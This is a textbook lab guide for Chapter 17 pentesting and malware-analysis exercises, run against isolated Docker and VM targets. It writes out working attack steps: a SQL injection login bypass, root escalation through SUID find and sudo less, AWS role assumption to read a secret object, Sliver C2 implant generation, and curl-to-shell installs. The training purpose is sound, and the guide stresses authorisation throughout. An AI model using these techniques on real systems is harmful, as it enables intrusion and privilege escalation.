# Chapter 17 Labs: Penetration Testing and Malware Analysis

This lab pack covers the seven practical exercises from Chapter 17. Four labs run entirely in Docker Compose (containerisable targets and tool-runners); three labs require host-side setup because they depend on Windows VMs, GUI desktop applications, or a full Linux distribution (see the relevant sections below). The containerised labs share one `docker-compose.yml` with named profiles so you can bring up only the services a given exercise needs.

## Prerequisites

- Docker Engine 25+ and Docker Compose v2.24+ (`docker compose` subcommand, not the legacy `docker-compose` binary)
- ~6 GB free disk (Kali rolling is ~1.5 GB, LocalStack ~500 MB; images are pulled on first use)
- Ports 3000 and 4566 free on the host
- For host-only labs: Vagrant 2.3+, VirtualBox 7+, Python 3.12+, Java 21+, and ~40 GB additional disk

## Quick start

```
# Bring up all containerised labs at once:
docker compose up -d --build

# Or bring up a single lab:
docker compose --profile lab2  up -d
docker compose --profile lab3  up -d --build
docker compose --profile lab4a up -d --build
docker compose --profile lab6b up -d --build
```

---

## Lab 17.2: Recon, Scan, and Exploit Against an Authorised Lab Target

**Objective:** Run the full PTES scanning and exploitation chain (T1595, T1590, T1190) against an intentionally vulnerable web target, map every step to ATT&CK, and produce report-ready evidence.

### Setup

```
docker compose --profile lab2 up -d
```

Services started: `juice-shop` (target, port 3000) and `pentest-tools` (Kali tool-runner). Wait ~20 seconds for Juice Shop to pass its healthcheck.

### Walkthrough

All commands run inside the tool-runner container unless noted:

```
docker compose --profile lab2 run --rm pentest-tools bash
```

**Step 1 - Authorisation check.** Confirm you are targeting only `juice-shop` (172.20.0.10) on the isolated `lab2-net` bridge. Nothing here routes to your LAN.

**Step 2 - Host discovery.**
```
nmap -sn 172.20.0.0/24
```
Record the live hosts found.

**Step 3 - Full-port service scan.**
```
nmap -p- -sV -sC -oA /output/lab_scan 172.20.0.10
```
List every open port, service name, and version string from the XML output.

**Step 4 - Web enumeration.**
```
whatweb http://172.20.0.10:3000
gobuster dir -u http://172.20.0.10:3000 -w /usr/share/wordlists/dirb/common.txt -o /output/gobuster.txt
```
Note hidden paths and the application framework version.

**Step 5 - Exploit search.**
```
searchsploit juice shop
searchsploit -x <candidate-id>
```
Read any candidate exploit in full before deciding to use it.

**Step 6 - Exploit (SQL injection, admin login bypass).**
Juice Shop's login form is vulnerable to SQL injection on the email field. As a manual proof-of-concept:

```
# In the Juice Shop login form, enter as the email field:
#   ' OR 1=1 --
# and any string as the password.
# This returns the first (admin) user.
```

Capture the result: screenshot the admin dashboard and record the HTTP response.

**Step 7 - Map to ATT&CK and record.**

| Step | ATT&CK ID | Tactic |
|------|-----------|--------|
| Port/service scan | T1595.002 | Reconnaissance |
| Web path enumeration | T1595.003 | Reconnaissance |
| Version fingerprinting | T1592.002 | Reconnaissance |
| SQL injection login bypass | T1190 | Initial Access |

Save scan output under `/output/` and revert (stop the container) when finished.

### Expected output

- `nmap` XML showing ports 3000/tcp open, `node.js` service.
- `gobuster` output listing paths such as `/api`, `/rest`, `/socket.io`.
- Successful admin session in Juice Shop UI confirming T1190 exploitation.

### Verify completion

Open `http://localhost:3000/#/administration` - if the admin page loads you have a confirmed foothold.

### Cleanup

```
docker compose --profile lab2 down -v
```

---

## Lab 17.3 - Part E: Linux Privilege Escalation with LinPEAS

**Objective:** Run LinPEAS against a deliberately misconfigured container, triage its output, and demonstrate a confirmed root shell via a SUID binary (T1548.001) and a permissive `sudo` rule (T1548.003).

> **Note:** Parts A-D of Lab 17.3 (GOAD: Kerberoasting, BloodHound, DCSync) require Windows VMs. See "Host setup (not containerised)" section below.

### Setup

```
docker compose --profile lab3 up -d --build
```

The `linpeas-target` container runs Ubuntu 24.04 with:
- `/usr/bin/find` has the SUID bit set (GTFOBins escalation)
- `sudo` rule: `lowpriv ALL=(ALL) NOPASSWD: /usr/bin/less`
- User `lowpriv` / password `Password1`

### Walkthrough

**Step 1 - Enter the target as the low-privilege user.**
```
docker exec -it ch17-linpeas-target bash
su - lowpriv
```

**Step 2 - Download and run LinPEAS.**
```
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /tmp/linpeas.out
```

**Step 3 - Triage output.** Look for:
- SUID binaries (yellow/red highlight): find `/usr/bin/find`
- Sudo rules: `(ALL) NOPASSWD: /usr/bin/less`

**Step 4 - Escalate via SUID find (T1548.001).**
```
/usr/bin/find . -exec /bin/bash -p \;
# Verify:
whoami   # should print: root
id
```

**Step 5 - Alternative escalation via sudo less (T1548.003).**
```
sudo less /etc/passwd
# In the less pager, type: !/bin/bash
whoami   # root
```

**Step 6 - Write the finding.** Document: the misconfiguration, the GTFOBins technique, the ATT&CK ID (T1548), and one defensive recommendation (remove SUID from find; restrict sudo to specific commands with path validation).

### Expected output

```
root@<container>:/# whoami
root
```

### Verify completion

`id` returns `uid=0(root)` from the `lowpriv` starting session.

### Cleanup

```
docker compose --profile lab3 down -v
docker rmi ch17-linpeas-target:local 2>/dev/null || true
```

---

### Host setup (not containerised) - Lab 17.3 Parts A-D: GOAD (Game of Active Directory)

Parts A-D of Lab 17.3 (Kerberoasting, BloodHound, DCSync) require Windows domain controllers, which cannot run in Docker without licensing violations or dramatic fidelity loss.

**Canonical project:** Orange Cyberdefense GOAD
- Repository: `https://github.com/Orange-Cyberdefense/GOAD`
- Requires: Vagrant 2.3+, VirtualBox 7+ (or Proxmox/VMware), 40+ GB disk, 16 GB RAM
- Fastest profile: GOAD-Light (2 VMs instead of 5)

**Install steps (abbreviated):**
```
git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
# Follow README.md -> "Installation" -> "GOAD-Light" profile
# Provision with: cd ad/GOAD-Light/providers/virtualbox && vagrant up
```

Once the domain is up, the lab tools (impacket, BloodHound v9.1.0, hashcat) can be installed on the host or in a Kali VM bridged to the GOAD network.

---

## Lab 17.4a: Cloud Pentest - Pacu and ScoutSuite Against a Stub AWS Environment

**Objective:** Baseline a stub AWS account with ScoutSuite (CSPM view), enumerate and escalate with Pacu (`iam__privesc_scan`), walk the `sts:AssumeRole` path, and map findings to ATT&CK (T1078.004, T1098).

### Setup

```
docker compose --profile lab4a up -d --build
```

Services started: `localstack` (stub AWS, port 4566) and `aws-tools` (ScoutSuite 5.14.0 + Pacu 1.7.0).

**Seed the stub environment first:**
```
docker compose --profile lab4a run --rm aws-tools bash /lab4a/seed-aws.sh
```

This creates: IAM user `lab-lowpriv`, over-permissioned role `lab-overpermissioned`, and S3 bucket `lab-public-data` with a secret object.

### Walkthrough

Open an interactive shell in the tool container:
```
docker compose --profile lab4a run --rm aws-tools bash
```

**Step 1 - Baseline posture with ScoutSuite.**
```
scout aws --profile default --regions us-east-1 \
    --endpoint-url http://localstack:4566 --no-browser -r /workspace/scout-report
```
Review the HTML report for over-permissioned roles and public buckets.

> Note: ScoutSuite 5.14.0 against LocalStack covers IAM and S3 checks. Some AWS-native checks (CloudTrail, GuardDuty) will show as unavailable against LocalStack - this is expected.

**Step 2 - Enumerate with Pacu.**
```
pacu
# Inside Pacu: create a new session "lab-stub"
# import_keys  (use the lab-lowpriv keys printed by seed-aws.sh)
# run iam__enum_permissions
# run iam__privesc_scan
```

**Step 3 - Demonstrate escalation.**
```
# Assume the over-permissioned role:
aws sts assume-role \
    --role-arn arn:aws:iam::000000000000:role/lab-overpermissioned \
    --role-session-name lab-privesc \
    --endpoint-url http://localstack:4566

# Export the returned temporary credentials, then:
aws s3 cp s3://lab-public-data/secret-data.txt - \
    --endpoint-url http://localstack:4566
```

Capture `aws sts get-caller-identity` before and after the role assumption - this identity change is the proof of escalation.

**Step 4 - Map and report.**

| Finding | ATT&CK ID | Tactic | CSPM control |
|---------|-----------|--------|--------------|
| sts:AssumeRole into over-permissioned role | T1078.004 | Privilege Escalation | Least-privilege IAM policies |
| Public S3 bucket | T1530 | Collection | S3 Block Public Access |

### Expected output

```
$ aws sts get-caller-identity --endpoint-url http://localstack:4566
{"UserId": "...", "Account": "000000000000", "Arn": "arn:aws:sts::000000000000:assumed-role/lab-overpermissioned/lab-privesc"}
```

### Verify completion

`get-caller-identity` shows the assumed role ARN, and the secret S3 object was read successfully.

### Cleanup

```
docker compose --profile lab4a down -v
docker rmi ch17-aws-tools:local 2>/dev/null || true
```

---

### Host setup (not containerised) - Lab 17.4b: Sliver C2 (Session and Beacon)

Sliver requires Windows VMs as implant targets. Running a C2 implant inside a container is technically possible but defeats the educational purpose (session vs beacon latency, mTLS tunnel, beacon-interval analytics are all visible only against a real OS).

**Canonical project:** BishopFox Sliver v1.7.3
- Repository: `https://github.com/BishopFox/sliver`
- Docs: `https://sliver.sh/docs`

**Install steps (abbreviated):**
```
# Server (Linux/macOS):
curl https://sliver.sh/install | sudo bash
sliver-server

# Generate a session implant (inside sliver-server console):
generate --mtls <your-lab-listener-ip> --os windows --save ./session.exe

# Generate a beacon:
generate beacon --mtls <your-lab-listener-ip> --seconds 60 --jitter 30 --os windows --save ./beacon.exe
```

Run the implants on throwaway Windows VMs on an isolated (host-only) network. **Never deploy outside a network you own.**

**AUTHORISATION GUARD RAIL:** A Sliver implant is functionally malware. Run it only against lab VMs you own, on an isolated network with no route to systems you do not control. Deploying a C2 implant on any system without explicit written authorisation is a criminal offence.

---

## Lab 17.5: Static Malware Analysis in Ghidra + YARA Rule

**Objective:** Triage a benign training binary with `strings`/FLOSS, parse its PE structure with `pefile`, disassemble and decompile in Ghidra, write a YARA rule that matches it and produces zero false positives on a control set.

### Host setup (not containerised)

Ghidra is a Java-based GUI desktop application. It does not run headlessly in a meaningful way for this lab.

**Install Ghidra 12.0.4 (the version pinned in the chapter):**
- Download: `https://github.com/NationalSecurityAgency/ghidra/releases/tag/Ghidra_12.0.4_build`
- Requires: Java 21 (`brew install openjdk@21` on macOS; `sudo apt install openjdk-21-jdk` on Ubuntu)
- Run: `./ghidraRun` (macOS/Linux) or `ghidraRun.bat` (Windows)

**Install YARA 4.5.5 and pefile 2024.8.26:**
```
pip install yara-python==4.5.5 pefile==2024.8.26 floss
# Or via package manager: brew install yara (macOS)
```

**Obtain the benign training sample:**

The `volatility-tools` container (Lab 17.6b) includes `make-benign-sample.sh` which generates a stub binary with planted indicators for string-extraction exercises. To generate it on the host:

```
bash labs/ch17/lab6b/make-benign-sample.sh ./training-sample.bin
```

This produces a stub binary (NOT executable, NOT malware) with fake PE headers, fake API imports, and synthetic strings (URL, mutex, registry key) for YARA exercises.

**Lab steps (on the host):**

1. `strings -n 8 training-sample.bin` - extract printable strings
2. `floss training-sample.bin` - recover obfuscated strings
3. `python3 -c "import pefile; pe = pefile.PE('training-sample.bin'); print([s.name for s in pe.sections])"` - parse sections
4. Open Ghidra, create project, import the binary, run auto-analysis
5. In the Imports view, double-click `WriteProcessMemory` to reach call sites
6. Write a YARA rule in the Decompiler pane's context, test with `yara rule.yar training-sample.bin`

---

## Lab 17.6b: Memory Forensics - Find a Memory-Only Implant with Volatility 3

**Objective:** Use Volatility 3 (package 2.28.0) plugins to find a simulated injected process in a Windows memory image: `pslist` vs `psscan` diff to expose DKOM-hidden processes, `malfind` to find RWX regions, `netscan` to recover C2 endpoints.

> Note: This lab requires a Windows memory image. Acquiring one is documented below. The container runs Volatility; the memory image is mounted as a volume.

### Setup

```
docker compose --profile lab6b up -d --build
```

**Obtain a memory image:** For educational use, the Volatility Foundation provides sample memory images at `https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples`. Download a Windows 7/10 sample and mount it at the volume path, or use a memory dump from your own lab VM (e.g. `VBoxManage debugvm <name> dumpguestcore --filename mem.raw` on VirtualBox).

Place the image file at a path you control and mount it into the container:
```
docker run --rm -v /path/to/mem.raw:/analysis/mem.raw ch17-volatility-tools:local bash
```

Or use the compose volume mount and copy the file in:
```
docker cp /path/to/mem.raw ch17-volatility-tools:/analysis/mem.raw
```

### Walkthrough

```
docker compose --profile lab6b run --rm volatility-tools bash
```

**Step 1 - Confirm Volatility version.**
```
vol --version
# Expected: Volatility 3 Framework 2.28.0
```

**Step 2 - Baseline process list.**
```
vol -f /analysis/mem.raw windows.pslist > /analysis/pslist.txt
cat /analysis/pslist.txt
```

**Step 3 - Scan for hidden processes (DKOM detection).**
```
vol -f /analysis/mem.raw windows.psscan > /analysis/psscan.txt
# Diff: any PID in psscan but not pslist is unlinked (rootkit signal)
diff <(awk '{print $2}' /analysis/pslist.txt | sort) <(awk '{print $2}' /analysis/psscan.txt | sort)
```

**Step 4 - Hunt injected code (malfind).**
```
vol -f /analysis/mem.raw windows.malfind
```
Flag any private region with RWX protection and an MZ/PE header but no mapped file on disk. This is the signature of T1055 (Process Injection) or T1620 (Reflective Code Loading).

**Step 5 - Recover C2 endpoints (netscan).**
```
vol -f /analysis/mem.raw windows.netscan
vol -f /analysis/mem.raw windows.cmdline
```

**Step 6 - Write the finding.** For each suspicious process or region: ATT&CK technique ID, supporting plugin output as evidence, business-impact narrative, and detection recommendation.

### Expected output

```
Volatility 3 Framework 2.28.0
PID   PPID  ImageFileName  ...
...
```

If using the Volatility Foundation sample images, `malfind` will surface the sample injected payload.

### Verify completion

`vol --version` outputs `Volatility 3 Framework 2.28.0` and at least one plugin (`windows.pslist`) completes without error against the mounted image.

### Cleanup

```
docker compose --profile lab6b down -v
docker rmi ch17-volatility-tools:local 2>/dev/null || true
```

---

### Host setup (not containerised) - Lab 17.6a: Dynamic Malware Analysis in REMnux

REMnux v8 is a full Linux distribution. Running it as a Docker container would lose INetSim, fakedns, network isolation, and the snapshot-revert workflow that are the entire point of the lab.

**Canonical project:** REMnux v8 (Lenny Zeltser)
- Download: `https://remnux.org/`
- Docs: `https://docs.remnux.org/`
- Requirements: VirtualBox 7+ or VMware; 4+ GB RAM allocated to the VM

**Lab steps (abbreviated):**

1. Import the REMnux OVA into VirtualBox/VMware. Set networking to **host-only**.
2. Take a clean snapshot before running anything.
3. Start INetSim: `sudo inetsim` (fakes DNS/HTTP/SMTP so network callbacks are captured)
4. Start Wireshark or tcpdump on the host-only interface.
5. Run the benign training sample generated by `make-benign-sample.sh` (or the EICAR string file).
6. Read the behaviour back: process tree (`ps aux`), files written (`inotifywait`), DNS lookups (`fakedns` log), HTTP callbacks (INetSim report).
7. Map each observation to ATT&CK: registry Run key writes = T1547 (Persistence), periodic HTTPS callback = T1071 (C&C), process spawn = T1059.
8. Write a three-line behavioural summary an incident responder could action.
9. **Revert to snapshot.** Always revert.

**SAFETY:** Never run a live malware sample without a confirmed snapshot you can revert to. Never run on a VM whose networking is bridged to a LAN you care about.

---

## Teardown

```
docker compose down -v
```

This removes all containers, the shared bridge networks, and named volumes (including LocalStack state and scan output). Custom-built images (`ch17-*:local`) are left intact; remove them explicitly if needed:

```
docker rmi ch17-linpeas-target:local ch17-aws-tools:local ch17-volatility-tools:local
```

---

## Safety and Authorisation

ALL offensive labs in Chapter 17 carry the same guard rail: **run only against the provided lab target or a system you own and have explicit written authorisation to test.**

- Scanning or exploiting a system you do not own is a criminal offence under the Criminal Justice (Offences Relating to Information Systems) Act 2017 (Ireland), the Computer Misuse Act 1990 (UK), and the Computer Fraud and Abuse Act (USA), regardless of intent.
- Juice Shop runs on an isolated Docker bridge network (`lab2-net`, `172.20.0.0/24`). No traffic routes to your LAN.
- The `linpeas-target` container runs on an isolated bridge (`lab3-net`). Escalation exercises only affect this container.
- LocalStack is an emulator; no real AWS credentials or resources are involved.
- The benign training sample used in Labs 17.5 and 17.6b is NOT malware. It is a synthetic stub with planted strings for educational exercises. It will not execute as a PE binary.
- For GOAD, Sliver, and REMnux labs: use only your own isolated VM lab network. Never bridge lab VMs to a production network.
